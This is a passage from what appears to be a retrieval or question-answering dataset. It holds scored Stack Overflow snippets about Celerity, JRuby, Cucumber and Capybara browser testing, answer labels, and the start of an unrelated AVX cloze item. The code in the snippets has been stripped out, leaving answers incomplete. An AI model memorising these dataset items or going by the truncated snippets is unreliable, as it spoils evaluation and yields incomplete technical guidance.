cucumber and test-environments and access it from cucumber via celerity .", "To me 2 looks like the right way to fix this but I m not sure if Celerity HTMLUnit s lack of accept header is a bug or a feature .", "Mac Excel 2011 VBA code calls Celerity script and passes parameter that will be used by the script .", "Im scraping a website using Celerity gem and I want to save an image but I dont know how to do it XD .. . .. . With the next Celerity command I get an IO object .. . .. . How can I save this object to a jpg file", "I am using to Celerity to screen scrape a web page and I m attempting to scrape all of the text elements within a particular div class .", "I can see the new iframe in jirb after I ve clicked the link but can t call any methods on it getting errors like : .. . .. . Anybody have enough experience with Celerity Htmlunit Javascript Jruby that they can point me in the right direction", "So you could create tests that use Celerity for quick running tests say on commit and Watir for nightly weekly slow running tests .", "Copied from question comments just to remove it from unanswered questions .. . .. . Can you try to capture the page Celerity sees after your login attempt", "but with celebrity something in database is wrong : .. . .. . create item in cucumber .. . 1 item exists in cucumber .. . 0 item exists in celerity .. . 1 item exists in cucumber .. . do smth with item fails in celerity but works in cucumber .. . .. . Any ideas why Celerity ed instance doesnt see what was saved in db in cucumber", "I have outlined the steps below assuming that the steps in the RVM tutorial have been implmented correctly https : rvm.beginrescueend.com integration culerity that is gemsets symbolic links rvm rvm wrapper JRuby and Bash environment etc .. . .. . Steps .. . .. . Install the capybara-culerity gem .. . .. . For celerity s Jruby environment .. . make sure celerity jruby points to jruby I pointed to the symbolic link under jruby@celerity .. . .. . For your projects main ruby environment add following to the gemfile and bundle install .. . .. . Gemfile .. . .. . .. . .. . .. . add the following to your features support env.rb .. . .. . .. . .. . .. . .. . .. . .. . then in features support capybara.rb .. .", "the headless-browser also needs to support .js otherwise salesforce.com returns an error and it will not render the download links .", "I d love to be able to wire up my own tag something like @all browsers before the scenario and have it run against a list of web drivers I set celerity selenium on firefox ie and chrome .", "I smell some security settings machine with black-listed IP or perhaps this screen when you need to receive verification email and click link that comes in with Celerity to set cookie .", "I have with my Cucumbertesting downloaded an .xls file but this is downloaded as an IO stream in ruby using Celerity @browser.span : id someid .download .. . .. . Using the gem Spreadsheet I was hoping to verify the document but this module seems to only let me open a file from path .", "Alternately does anybody know of a headless-browser automation tool that would be better suited for the task if one exists", "Mechanize may work for you it s meant to more closely resemble a normal person s usage of a browser while remaining headless .", "Isn t Selenium better than Celerity when it comes to testing web sites cause real browsers like Firefox Safari Chrome and Internet Explorer could be used so that we know our website is compatible with each of them .", "If there is a lot of JavaScript maybe a real browser should be better .", "So I m going through the process of using rvm to switch the application on to jruby for testing since apparently celertiy culerity only work on jruby at the moment .", "Solution by example .. . .. . simpletest.rb .. . .. . Suppose we have to interface Excel 2011 on a Mac with this simple script that takes a couple of input parameters and returns a result .. . .. . test.sh .. . .. . We write a shell you can invoke via VBA code Please be aware to set proper permission chmod u+x test.sh The shebang : bin bash --login this is required in order to run rvm to select jruby that is the only ruby supported by celerity .. . .. . VBA Module User Defined Function .. . .. . Note in this code : Users ronda projects so-test1 is the path to our scripts .. . .. . Usage Testing .. . .. . Testing the User Defined Function in a formula .. . .. .", "Since jruby is based off 1.8.7 that could explain the issue.. .", "Did you check that the SQLite adapter you re using is compatible with jRuby", "The app has a lot of dynamic JavaScript-based functionality .", "But I can now also supply some other options to the thor command which get passed onto cucumber such as : .. . --tags @all browsers .. . --formatter hotpants .. . --other cucumber args --dry-run --guess --etc .. . .. . What a feature file can now look like : .. . .. . Seems like a lot of setup but now if I tag a feature with @all browsers I can build out a suite to test against all capybara drivers in a multi-threaded environment with one thor command : .. . thor feature runner : all drivers runner --threaded --tags @all browsers .. . .. . Or build out a smoke test suite that runs in celerity : .. . thor feature runner : celerity runner --tags @smoke test", "I d like to test the javascript in my UI and the default selenium driver for capybara doesn t support the events I need to test .", "The only change required for the script to work is to add the resynchronize option to the browser initialization .", "The website pushes the file download using javascript and the hidden iframe method - during regular browsing when you click the download button it calls javascript that creates a hidden iframe containing the download content and the browser picks that up and prompts the user to save the file .", "Have you been able to run a random jruby script and getting the response back in a cell", "Here is my hack : my situation is proving a feature works with javascript on and javascript off .. . .. . 1 .", "Put the last line into a scenario per browser .. . 4 .", "prototype + localhost headful and given a server address such as localhost : 9876 http : localhost : 9876 VS ci+staging headless and given server address such 33.33.34.2 http : 33.33.34.2 and the.wild.com http : the.wild.com .", "the requirement is that it runs from a LINUX command-line without a gui browser installed .", "I was using Mechanize before but ran into trouble with it not supporting javascript .", "i tried CURL but it fails since it does not support .js .", "If you want tests executed in a real browser use Selenium http : seleniumhq.org or Watir http : watir.com .", "Failing that you may want to try a library that controls a browser rather than emulate it .", "Libraries that emulate a browser such as htmlunit and mechanize have their limits and you may have found one .", "The Cucumber Sauce http : saucelabs.com blog index.php tag cucumber gem gives you parallel multi-browser tests .", "This hook will run only once after support has been loaded but before features are loaded .", "However culerity support has been separated into another gem capybara-culerity .", "I want to initialize culerity with capybara in ruby-1.9 i followed https : rvm.beginrescueend.com integration culerity for jruby integration of culerity and added below line to my features support env.rb file .. . .. . Culerity.jruby invocation File.expand path .rvm bin celerity jruby .. . .. . added follwing lines to my Gemfile .. . .. . wheni run my cucumber test case i got this error", "There were rumours support would be dropped from capybara back in Feb source google groups I guess this solution allows a third-party s to keep the support alive .", "When accessing the application in a browser Devise responds with a redirect to the login page when a user is trying to access a protected page controller .", "Tag each scenario appropriately .. . .. . Feature : a feature .. . .. . Background : .. . Given a user Jim exists .. . Given a user Mike exists .. . .. . When I login as mike .. . And I follow Lesson 1 .. . .. . And I follow Upload a video .. . Then upload a video should be active .. . .. . And I fill in video title with my film .. . And I attach the file video.mov to video upload .. . And I press Post .. . .. . Scenario : normal .. . And I should see my film .. . .. . @javascript .. . .. . Scenario : javascript .. . And I should see my film", "I ve got my bundle installed and the application seems to work correctly on jruby but when I try to run rake cucumber I get the following output : .. . .. . At one point I was using sqlite for my test db but have since changed .", "This form has a generated link that is called when the user hits the enter button .", "How do I trigger this", "I know you can submit by finding the link button and pressing .click .", "But I want to submit by pressing enter .", "Thanks in advance", "link looks like this : .. . .. . I can t do : .. . .. . Because there is no href or any other attribute to refer to but I can get the full url of the download link .", "So I can do : .. . .. . but I get : .. . .. . Any idea how to this", "Does the link automatically prompt you to download the file", "If so then you should be able to still do : .. . .. . For example I had a link like this : .. . .. . And did : .. . .. . And the result in io was the file contents .", "Oh masters of screen-scraping .", "Here is the HTML code : .. . .. . I ve tried everything I cannot get it to click .", "instead of .. . .. . try .. . .. . hope this helps", "I was able to get around it for the moment by : .. . .. . UPDATE UPDATE : this fix should be available on v0.6.0 of database-cleaner master", "Add capybara-culerity to your Gemfile and try adding : .. . .. . to your features support env.rb file before the call to", "If I disable database-cleaner in features support env.rb the tests run but they all fail mysteriously .", "enter image description here http : i.stack.imgur.com C6QFD.png .. . .. . Testing the shell script in terminal .. . .. . Testing the jruby script standalone .. . .. . further reading .. . .. . Just a couple of useful link : .. . .. . 1 . read this answer to How do I issue an HTTP GET from Excel VBA for Mac 2011 http : stackoverflow.com a 15994195 1657028 as an alternative possibly the most powerful approach using popen and pipes https : developer.apple.com library ios documentation System Conceptual ManPages iPhoneOS man3 popen.3.html .. . 2 ." ] }
{ "confidence": [ 76.70861053466797, 73.11927795410156, 71.18794250488281, 71.10836029052734, 69.95283508300781, 64.21247100830078, 54.52277755737305, 54.15983581542969, 52.62714385986328, 52.506500244140625, 51.96357727050781, 49.91081619262695, 49.715152740478516, 49.643798828125, 48.9770393371582, 41.71134948730469, 37.795196533203125, 35.74115753173828, 35.03990936279297, 33.43533706665039 ], "content": [ "Question : I m using Celerity in JRuby to automate the download of some .csv files from certain websites . For one of the websites LinkShare I ve gotten very close but cannot figure out the last step . The website pushes the file download using javascript and the hidden iframe method - during regular browsing when you click the download button it calls javascript that creates a hidden iframe containing the download content and the browser picks that up and prompts the user to save the file . Obviously doesn t work quite the same way in Celerity . I can see the new iframe in jirb after I ve clicked the link but can t call any methods on it getting errors like : .. . .. . Anybody have enough experience with Celerity Htmlunit Javascript Jruby that they can point me in the right direction I just want to retrieve the download content the .csv file . Alternately does anybody know of a headless-browser automation tool that would be better suited for the task if one exists .. . Answer : Mechanize may work for you it s meant to more closely resemble a normal person s usage of a browser while remaining headless . http : mechanize.rubyforge.org Comment : I was using Mechanize before but ran into trouble with it not supporting javascript .", "Question : I m using Celerity in JRuby to automate the download of some .csv files from certain websites . For one of the websites LinkShare I ve gotten very close but cannot figure out the last step . The website pushes the file download using javascript and the hidden iframe method - during regular browsing when you click the download button it calls javascript that creates a hidden iframe containing the download content and the browser picks that up and prompts the user to save the file . Obviously doesn t work quite the same way in Celerity . I can see the new iframe in jirb after I ve clicked the link but can t call any methods on it getting errors like : .. . .. . Anybody have enough experience with Celerity Htmlunit Javascript Jruby that they can point me in the right direction I just want to retrieve the download content the .csv file . Alternately does anybody know of a headless-browser automation tool that would be better suited for the task if one exists .. . Answer : As ehsanul said Mechanize might be a good starting point . You ll need to figure out the URL being accessed to retrieve the file . Also look for a cookie or session ID identifying your session to the host . Mechanize should capture that and return it as that s part of what it does .", "Question : thanks in advance for the help BACKGROUND : the script below logs into my salesforce.com account and tries to click a bunch of download links and save the resulting .zip export files locally . i m using jruby + celerity http : celerity.rubyforge.org which is a jruby wrapper around htmlunit a headless-browser which also supports javascript . the requirement is that it runs from a LINUX command-line without a gui browser installed . the headless-browser also needs to support .js otherwise salesforce.com returns an error and it will not render the download links . i tried CURL but it fails since it does not support .js . currently the script works fine when run from the command-line on a WINDOWS box .. . .. . QUESTION : When i try to run this from a linux box i receive the error below and the script does not appear to login to salesforce . i believe the .js warning is ok i think but i don t understand what the VBScript not supported in Window.execScript warning means : Comment : Sorry don t have a SF account in which to duplicate the problem but will give you a tip : Enumerable each with index allows you to get rid of the separate counter Comment : Can you try to capture the page Celerity sees after your login attempt Maybe there s some error mentioned maybe you could examine HTTP header you got back verify if you have landed on address of Home page.. . I smell some security settings machine with black-listed IP or perhaps this screen when you need to receive verification email and click link that comes in with Celerity to set cookie . Comment : Thanks Mark for the tip . looks like .each with index is supported in ruby-1.9 and in 1.8.6 you use .to enum : each with index Comment : eyescream you guessed it problem was the SF ip activation page . however i still get the .js and .vb warnings.. . i saved browser.html to a file to to inspect the code as you suggested . then added the following to click the activation button for me : if browser.text.include You are attempting to access salesforce.com from an unrecognized computer . browser.button : value Send Activation Link .click what mislead me was the fact that i could access the SF API with now problem which is of course a different access path than the web login . thank you Comment : You re welcome : In API the security token is equivalent of this cookie setting page.. . As for the actual JS VB errors - probably you don t have to worry about them if functions work anyway Maybe try to set Celerity to work in somewhat less strict-mode No idea : .. . Answer : Copied from question comments just to remove it from unanswered questions .. . .. . Can you try to capture the page Celerity sees after your login attempt Maybe there s some error mentioned maybe you could examine HTTP header you got back verify if you have landed on address of Home page.. . I smell some security settings machine with black-listed IP or perhaps this screen when you need to receive verification email and click link that comes in with Celerity to set cookie .", "Question : Oh masters of screen-scraping . I m using jruby and Celerity both newest versions and I CANNOT figure out how to click this button . Here is the HTML code : .. . .. . I ve tried everything I cannot get it to click . Here is my current code : .. . .. . Here is the error : .. . .. . Celerity : : Exception : : UnknownObjectException : Unable to locate Button using : class and btn-export icon-24 download-24 assert exists at opt jruby lib ruby gems 1.8 gems celerity-0.9.1 lib celerity element.rb : 179 assert exists and enabled at opt jruby lib ruby gems 1.8 gems celerity-0.9.1 lib celerity clickable element.rb : 69 click at opt jruby lib ruby gems 1.8 gems celerity-0.9.1 lib celerity clickable element.rb : 9 root at . test.rb : 17 .. . .. . Any ideas .. . Answer : instead of .. . .. . try .. . .. . hope this helps", "Question : I m using Celerity in JRuby to automate the download of some .csv files from certain websites . For one of the websites LinkShare I ve gotten very close but cannot figure out the last step . The website pushes the file download using javascript and the hidden iframe method - during regular browsing when you click the download button it calls javascript that creates a hidden iframe containing the download content and the browser picks that up and prompts the user to save the file . Obviously doesn t work quite the same way in Celerity . I can see the new iframe in jirb after I ve clicked the link but can t call any methods on it getting errors like : .. . .. . Anybody have enough experience with Celerity Htmlunit Javascript Jruby that they can point me in the right direction I just want to retrieve the download content the .csv file . Alternately does anybody know of a headless-browser automation tool that would be better suited for the task if one exists .. . Answer : The first thing I d do is check that you re navigating to the frame . A frame even an iframe is treated as a completely separate window and you ll have to navigate there first . Check the Celerity : : Frames class . Failing that you may want to try a library that controls a browser rather than emulate it . Libraries that emulate a browser such as htmlunit and mechanize have their limits and you may have found one . For this I d recommend using watir firewatir . Comment : I ended up doing something basically like this . I had to do some regex magic on the html to put together a url to follow .", "Question : Isn t Selenium better than Celerity when it comes to testing web sites cause real browsers like Firefox Safari Chrome and Internet Explorer could be used so that we know our website is compatible with each of them . So if I use Celerity it s java browser even if all tests pass doesn t that mean my website could still be incompatible with our popular web browsers I know it s slower but if we do not take that into account isn t Celerity more error prone then Comment : Reading over Celerity web site it seams like that it is API comparable with Watir which does use real browsers . So you could create tests that use Celerity for quick running tests say on commit and Watir for nightly weekly slow running tests . .. . Answer : If you need speed use Celerity http : celerity.rubyforge.org . If you want tests executed in a real browser use Selenium http : seleniumhq.org or Watir http : watir.com . Celerity emulates browser and Selenium and Watir drive real browsers . If your site is simple Celerity should work fine . If there is a lot of JavaScript maybe a real browser should be better .", "Question : I m using celerity to do some screen-scraping and have come across the need to identify text elements that are in bold . Celerity offers a strong method but does not offer a bold method . Has anyone figured out a clever way around this with Celerity or other tool . I tried using : .. . .. . I though I could replace the bold elements with strong elements and then simply use celerity s strong method but this didn t seem to work . Thanks in advance for your help . .. . Answer : It seems strange that b is missing but you can try : Comment : Thanks - that did the trick .", "Question : null .. . Answer : I m trying to use celerity to submit a form . This form has a generated link that is called when the user hits the enter button . How do I trigger this I know you can submit by finding the link button and pressing .click . But I want to submit by pressing enter . I noticed that celerity form objects has a : .. . .. . Object submit Submits the form . http : celerity.rubyforge.org yard Celerity Form.html submit-instance method .. . .. . but I cant seem to access it . Thanks in advance", "Question : I m trying to test Rails Javascript with Cucumber celerity and factorygirl . The stack itself works but database is going crazy . I m running mongrel on 3001 port tried in both cucumber and test-environments and access it from cucumber via celerity . One of my tests looks following : .. . .. . create item .. . 1 item exists .. . do smth with item .. . .. . it works just fine if i use simple webrat interface . but with celebrity something in database is wrong : .. . .. . create item in cucumber .. . 1 item exists in cucumber .. . 0 item exists in celerity .. . 1 item exists in cucumber .. . do smth with item fails in celerity but works in cucumber .. . .. . Any ideas why Celerity ed instance doesnt see what was saved in db in cucumber P.S . yes both instance work with the same db... . .. . Answer : I found out that this was because Cucumber wrapped every step in transactions . Turned them off and everything works fine", "Question : We ve got a Rails application just upgraded to Rails3 using Devise s Rails3 gem for authentication . We ve been using Capybara with Celerity backend to test some of the pages . When accessing the application in a browser Devise responds with a redirect to the login page when a user is trying to access a protected page controller . In the Rails 2.x version of Devise this used to work even if the incoming request had a blank accept header . In the Rails 3 version Devise responds with a plain text string when the accept header is blank . The reason the blank accept header thing matters is because we re using the Celerity backend of Capybara to test some of the pages and apparently Celerity sends a blank accept header and thus doesn t get redirected by Devise . This behavior has changed from Devise for Rails 2.x to Devise for Rails 3 . Celerity fails with an UnexpectedPageException and the server log reports that the request was made with as accept header . When using the Selenium Webdriver backend on the exact same test suite the problem goes away . There are two ways to tackle this : .. . .. . 1 . Tell Devise to somehow always assume text html as accept header and respond accordingly . How could that be done Do we have to override the controllers 2 . Fix Celerity to sent text html as accept header . How can this be done 3 . Is this an HTMLUnit problem bug To me 2 looks like the right way to fix this but I m not sure if Celerity HTMLUnit s lack of accept header is a bug or a feature . Thoughts .. . Answer : It turns out to be an issue with HTMLUnit . I ve made a patch to the Celerity gem which you can find here : https : github.com jarib celerity pull 49 .. . .. . It will set the default accept header to text html but also adds an optional parameter to override it .", "Question : Im scraping a website using Celerity gem and I want to save an image but I dont know how to do it XD .. . .. . With the next Celerity command I get an IO object .. . .. . How can I save this object to a jpg file I tried this but didnt work : .. . .. . but the IO object is not closed because I got this : .. . .. . Anyone can help me please .. . Answer : Try : .. . .. . http : rubydoc.info gems celerity 0.8.9 Celerity Image save-instance method Comment : Yep download just returns an IO object containing the whole website as HTML .", "Question : I m using cucumber + capybara for some web automation testing . I d love to be able to wire up my own tag something like @all browsers before the scenario and have it run against a list of web drivers I set celerity selenium on firefox ie and chrome . I don t want to have to write the scenario 4 different times with 4 different tags out front . I ve looked into trying to do this with a new driver I register via : .. . .. . And then following it up with : .. . .. . But I m not quite sure what to put in that Before method that might actually work . I ve tried using cucumber hooks specifically : .. . .. . But this doesn t behave as I had hoped . It uses the same driver and runs the scenario twice with it . Following along the hook lines there s this from the cucumber documentation : .. . You may also provide an AfterConfiguration hook that will be run after Cucumber has been configured . This hook will run only once after support has been loaded but before features are loaded . You can use this hook to extend Cucumber for example you could affect how features are loaded.. . .. . This may be a potential path to go down for this but I ve not managed to come up with anything that works here either . I ve looked into custom formatters but they really only look like they do exactly that - format the output not so much designate how the features are actually run . I ve looked into overriding cucumber s feature runner but that doesn t look easy or friendly to do . Help please Anyone .. . Answer : This is possible through the hosted service by SauceLabs . The Cucumber Sauce http : saucelabs.com blog index.php tag cucumber gem gives you parallel multi-browser tests . Alternatively you may be able to borrow from the source of that gem if you wanted to implement it yourself . Comment : So this appears to be tied to selenium . I want to be able to run this against any of the drivers capybara supports - specifically celerity . There s also not much to the code here and I suspect there s quite a bit going on on the saucelabs side of things . Comment : Well you do have the selenium tag but not the celerity tag . Comment : Point taken . celerity tag added . Should clarify that I want to run it against selenium AND celerity .", "Question : I am using to Celerity to screen scrape a web page and I m attempting to scrape all of the text elements within a particular div class . The following line of code I m using is throwing the following error : wrong argument type String expected Module TypeError .. . .. . Code : puts browser.text if browser.frame : id bottomframe .div.class.include ClassName .. . .. . Can anyone tell me what this error means or more importantly how to fix my line of code . .. . Answer : Further review of the Celerity documentation has provided a solution to my question . Celerity provides the ability to use Regular Expressions to specify what you would like to find match on the particular web page . For example : browser.link : text ish means the first element that matches the regular expression ish . Thanks", "Question : I have some Jruby Celerity scripts that I would like to run from Excel VBA and then output the script results to an Excel sheet . Is this possible Can anyone suggest a potential approach or some potential resources . What I m hoping to achieve : .. . .. . 1 . Mac Excel 2011 VBA code calls Celerity script and passes parameter that will be used by the script . 2 . Script executes utilizing parameter passed by VBA . 3 . Script complete its execution and returns results to excel worksheet . EDIT : I should also mention that I am running Excel 2011 on a Mac . One of my areas of confusion is that everything I have found on automating Excel with ruby seems to assume a Windows operating-system . Require the WIN32OLE library . Would I use the same library running excel under OS X . Many thanks . Comment : Have you been able to run a random jruby script and getting the response back in a cell Comment : No I have not . I have been working with the shell command in VB and based on some things I ve seen on the web I thought it would work . .. . Answer : Solution by example .. . .. . simpletest.rb .. . .. . Suppose we have to interface Excel 2011 on a Mac with this simple script that takes a couple of input parameters and returns a result .. . .. . test.sh .. . .. . We write a shell you can invoke via VBA code Please be aware to set proper permission chmod u+x test.sh The shebang : bin bash --login this is required in order to run rvm to select jruby that is the only ruby supported by celerity .. . .. . VBA Module User Defined Function .. . .. . Note in this code : Users ronda projects so-test1 is the path to our scripts .. . .. . Usage Testing .. . .. . Testing the User Defined Function in a formula .. . .. . SimpleTest User Defined Function Usage http : i.stack.imgur.com cjZ3I.png .. . .. . Btw the diagnosis of problems may be streamlined by running the script to a lower level : .. . .. . Testing in the AppleScript edtor enter image description here http : i.stack.imgur.com C6QFD.png .. . .. . Testing the shell script in terminal .. . .. . Testing the jruby script standalone .. . .. . further reading .. . .. . Just a couple of useful link : .. . .. . 1 . read this answer to How do I issue an HTTP GET from Excel VBA for Mac 2011 http : stackoverflow.com a 15994195 1657028 as an alternative possibly the most powerful approach using popen and pipes https : developer.apple.com library ios documentation System Conceptual ManPages iPhoneOS man3 popen.3.html .. . 2 . Accessing Your Custom Functions http : www.fontstuff.com vba vbatut01.htm Comment : Franco - Thanks for a great response to my question . Cheers .", "Question : I want to initialize culerity with capybara in ruby-1.9 i followed https : rvm.beginrescueend.com integration culerity for jruby integration of culerity and added below line to my features support env.rb file .. . .. . Culerity.jruby invocation File.expand path .rvm bin celerity jruby .. . .. . added follwing lines to my Gemfile .. . .. . wheni run my cucumber test case i got this error .. . Answer : I got this to work after a some trouble it would seem that culerity works with ruby-1.9 despite capybara s notes still saying otherwise . However culerity support has been separated into another gem capybara-culerity . There were rumours support would be dropped from capybara back in Feb source google groups I guess this solution allows a third-party s to keep the support alive . ryansch s solution is basically correct however there are a few additional requirements to get things working . I have outlined the steps below assuming that the steps in the RVM tutorial have been implmented correctly https : rvm.beginrescueend.com integration culerity that is gemsets symbolic links rvm rvm wrapper JRuby and Bash environment etc .. . .. . Steps .. . .. . Install the capybara-culerity gem .. . .. . For celerity s Jruby environment .. . make sure celerity jruby points to jruby I pointed to the symbolic link under jruby@celerity .. . .. . For your projects main ruby environment add following to the gemfile and bundle install .. . .. . Gemfile .. . .. . .. . .. . .. . add the following to your features support env.rb .. . .. . .. . .. . .. . .. . .. . .. . then in features support capybara.rb .. . I suppose it could go in the env.rb instead .. . .. . I hope this helps others . Andrew @andicrook", "Question : I m screen-scraping a page that includes a link that spawns a popup window that is comprised of a select list and a button to execute your selection . The objective is to click the link on the main page make a selection on the pop-up window click the link-to confirm the selection and then view the new selection on the main webpage . Here are the steps that I m taking in Celerity and the results : .. . .. . Everything seems to work fine except for the last line . I ve done some debugging and have confirmed that my selection has been made . It seems that the main webpage is not being updated after I click the ChangeHoliday button on the popup page . Any thoughts or suggestions would be appreciated . Thanks in advance for you help . .. . Answer : This turned out to be an easy fix . The only change required for the script to work is to add the resynchronize option to the browser initialization . After doing so the script works as expected .", "Question : I m using cucumber + capybara for some web automation testing . I d love to be able to wire up my own tag something like @all browsers before the scenario and have it run against a list of web drivers I set celerity selenium on firefox ie and chrome . I don t want to have to write the scenario 4 different times with 4 different tags out front . I ve looked into trying to do this with a new driver I register via : .. . .. . And then following it up with : .. . .. . But I m not quite sure what to put in that Before method that might actually work . I ve tried using cucumber hooks specifically : .. . .. . But this doesn t behave as I had hoped . It uses the same driver and runs the scenario twice with it . Following along the hook lines there s this from the cucumber documentation : .. . You may also provide an AfterConfiguration hook that will be run after Cucumber has been configured . This hook will run only once after support has been loaded but before features are loaded . You can use this hook to extend Cucumber for example you could affect how features are loaded.. . .. . This may be a potential path to go down for this but I ve not managed to come up with anything that works here either . I ve looked into custom formatters but they really only look like they do exactly that - format the output not so much designate how the features are actually run . I ve looked into overriding cucumber s feature runner but that doesn t look easy or friendly to do . Help please Anyone .. . Answer : So I wound up rolling my own solution to this . Not sure if it was the best or most elegant approach but I actually just wound up : .. . .. . 1 . Abstracting all common environment stuff into env.rb .. . 2 . Using Cucumber profiles which would require a specific environment file such as firefox.rb that required env.rb and then set the default driver for Capybara to the appropriate driver . 3 . Wrote a big ol thor https : github.com wycats thor readme class with tasks that bundle up a bunch of cucumber commands and call out to run the bad boy with the proper profile . 4 . Wrote an all browsers task which bundles up the commands then calls out to each specific driver task so I can now have one task that runs any set of scenarios I supply on all the supported drivers . Working like a charm and I think might have actually wound up better in the end than anything I was trying above as within the Thor file I was able to add things like a benchmarking option as well as whether or not to split the feature run up into multiple threads . Still curious if anyone else came up with a solution for this though . cucumber.yaml : .. . Here the all features file just does a glob of everything ending in .feature because if I pulled in the entire features directory it would pull in everything beneath it including all the profile files etc which isn t what I wanted since each profile file sets the default capybara driver to a different value . Once you specify -r as an option to cucumber all autoloading of any file is halted . firefox.rb the profile file : .. . .. . selenium firefox.rb where I register the driver and set some tag capability which I ve wound up not needing now as the @selenium firefox tag was part of my original attempt at this posted in the question : .. . .. . feature runner.thor : .. . .. . Where everything wound up in relation to the root directory : .. . .. . Output of thor -T .. . .. . Now I can run something like : .. . thor feature runner : all drivers runner --benchmark .. . This would run all features on all capybara drivers in a thread for each driver benchmnarking the results . Or .. . thor feature runner : celerity runner .. . This would run all features only on celerity . But I can now also supply some other options to the thor command which get passed onto cucumber such as : .. . --tags @all browsers .. . --formatter hotpants .. . --other cucumber args --dry-run --guess --etc .. . .. . What a feature file can now look like : .. . .. . Seems like a lot of setup but now if I tag a feature with @all browsers I can build out a suite to test against all capybara drivers in a multi-threaded environment with one thor command : .. . thor feature runner : all drivers runner --threaded --tags @all browsers .. . .. . Or build out a smoke test suite that runs in celerity : .. . thor feature runner : celerity runner --tags @smoke test Comment : And to anyone curious the threads whack off about 15 seconds from the run on my machine . Comment : Very nice thanks . One point for extension worth mentioning is when you want to run in different environments e.g . prototype + localhost headful and given a server address such as localhost : 9876 http : localhost : 9876 VS ci+staging headless and given server address such 33.33.34.2 http : 33.33.34.2 and the.wild.com http : the.wild.com .", "Question : I m using cucumber + capybara for some web automation testing . I d love to be able to wire up my own tag something like @all browsers before the scenario and have it run against a list of web drivers I set celerity selenium on firefox ie and chrome . I don t want to have to write the scenario 4 different times with 4 different tags out front . I ve looked into trying to do this with a new driver I register via : .. . .. . And then following it up with : .. . .. . But I m not quite sure what to put in that Before method that might actually work . I ve tried using cucumber hooks specifically : .. . .. . But this doesn t behave as I had hoped . It uses the same driver and runs the scenario twice with it . Following along the hook lines there s this from the cucumber documentation : .. . You may also provide an AfterConfiguration hook that will be run after Cucumber has been configured . This hook will run only once after support has been loaded but before features are loaded . You can use this hook to extend Cucumber for example you could affect how features are loaded.. . .. . This may be a potential path to go down for this but I ve not managed to come up with anything that works here either . I ve looked into custom formatters but they really only look like they do exactly that - format the output not so much designate how the features are actually run . I ve looked into overriding cucumber s feature runner but that doesn t look easy or friendly to do . Help please Anyone .. . Answer : Here is my hack : my situation is proving a feature works with javascript on and javascript off .. . .. . 1 . Put each scenario into its own feature file . 2 . Move every line but the last into the Background : section . 3 . Put the last line into a scenario per browser .. . 4 . Tag each scenario appropriately .. . .. . Feature : a feature .. . .. . Background : .. . Given a user Jim exists .. . Given a user Mike exists .. . .. . When I login as mike .. . And I follow Lesson 1 .. . .. . And I follow Upload a video .. . Then upload a video should be active .. . .. . And I fill in video title with my film .. . And I attach the file video.mov to video upload .. . And I press Post .. . .. . Scenario : normal .. . And I should see my film .. . .. . @javascript .. . .. . Scenario : javascript .. . And I should see my film Comment : That s pretty cool . I really wanted to try to avoid the copy-paste in my solution although it looks like you ve managed to bring it down to a bare minimum of duplicated code here . And certainly a hell of a lot easier than my solution . Nice . Comment : Thanks . I had another thought that I ve just tested . You can even take that last line and put it in the Background section too .", "Question : I have with my Cucumbertesting downloaded an .xls file but this is downloaded as an IO stream in ruby using Celerity @browser.span : id someid .download .. . .. . Using the gem Spreadsheet I was hoping to verify the document but this module seems to only let me open a file from path . Question head on : .. . Can I use my IO object and translate it into an .xls file so that I can open it with my spreadsheet module Im not sure how to jump from IO too .xls so I can read it . .. . Answer : Can I use my IO object and translate it into an .xls file so that I can open it with my spreadsheet module Yes you can . The code of gem says that Spreadsheet.open accepts IO object or path as a first parameter see https : github.com voraz spreadsheet blob master lib spreadsheet.rb . Comment : Thanks for this although I bumped into another problem and could not verify you pointed me to the right documentation thanks .", "Question : I m trying to set up Cucumber to test a PHP-based web app . The app has a lot of dynamic JavaScript-based functionality . From my Googling it appears that this means I should go with Celerity Culerity or Capybara for my web-browsing gem . However I can t seem to find any good examples of how to test a non-Rails app with either of those systems . All of their documentation assumes I m using a Rails or Rack app . Long story short : Am I barking up the wrong tree Are either of these practical to use without Rails If so can you point me to some resources and or examples for how to do it .. . Answer : It s absolutely practical we are using it to test a JS heavy legacy .NET web app using Capybara on Windows . The best resource I can think of is The Cucumber Book http : pragprog.com book hwcuc the-cucumber-book . Generally Capybara is easy to set up for a non-Rack app you just have to configure the app host to point at the URL of your deployed PHP site . You also won t have access to the model classes inside your app which is an advantage when dealing with Rails apps so you can t easily inject a User into the database using the same models . We ended up creating ActiveRecord models just for manipulating and asserting against data for tests which was an unfortunate bit of duplication . If your app exposes an API which can be used instead this would probably be a better solution than that It greatly depends on the specifics of how your app works and how you want to test it ." ] }
[ "yes-answer-long", "yes-answer-short" ]
htmlunit
UNK_RELATION
avx@intel@120
avx -- advanced vector extensions avx is an extension to the x86 instruction-set architecture for microprocessors from @placeholder and amd .
{ "confidence": [ 45.59484100341797, 42.84691619873047, 41.407325744628906, 41.407325744628906, 40.501739501953125, 40.501739501953125, 40.35865783691406, 39.865135192871094, 39.63874435424805, 39.58467102050781, 38.95954895019531, 38.66824722290039, 38.28669738769531, 38.11737823486328, 38.04874801635742, 37.8912353515625, 37.74366760253906, 37.6953010559082, 37.647789001464844, 37.637535095214844, 37.58287811279297, 37.518409729003906, 37.35245895385742, 37.35245895385742, 37.21179962158203, 37.14316177368164, 37.13182830810547, 37.13182830810547, 36.94093322753906, 36.44687271118164, 36.44687271118164, 36.34809112548828, 36.30621337890625, 36.164703369140625, 36.066673278808594, 36.066673278808594, 35.947181701660156, 35.77450942993164, 35.76676940917969, 35.525367736816406, 35.42144775390625, 35.36150360107422, 35.24054718017578, 35.22084426879883, 35.22084426879883, 35.16108322143555, 35.07733154296875, 34.97483825683594, 34.97483825683594, 34.743675231933594, 34.705116271972656, 34.67927551269531, 34.582122802734375, 34.582122802734375, 34.582122802734375, 34.582122802734375, 34.582122802734375, 34.37916946411133, 33.95583724975586, 33.95341873168945, 33.88946533203125, 33.78193283081055, 33.698177337646484, 33.698177337646484, 33.698177337646484, 33.698177337646484, 33.698177337646484, 33.698177337646484, 33.698177337646484, 33.698177337646484, 33.698177337646484, 33.698177337646484, 33.698177337646484, 33.67653274536133, 33.67653274536133, 33.67653274536133, 33.67653274536133, 33.67653274536133, 33.29109191894531, 33.23601150512695, 32.991424560546875, 32.94218444824219, 32.874473571777344, 32.84956359863281, 32.830894470214844, 32.80535125732422, 32.7925910949707, 32.7925910949707, 32.7925910949707, 32.7925910949707, 32.7925910949707, 32.7925910949707, 32.7925910949707, 32.758323669433594, 32.703128814697266, 32.69733810424805, 32.591163635253906, 32.591163635253906 ], "content": [ "There are no scatter or gather instructions in 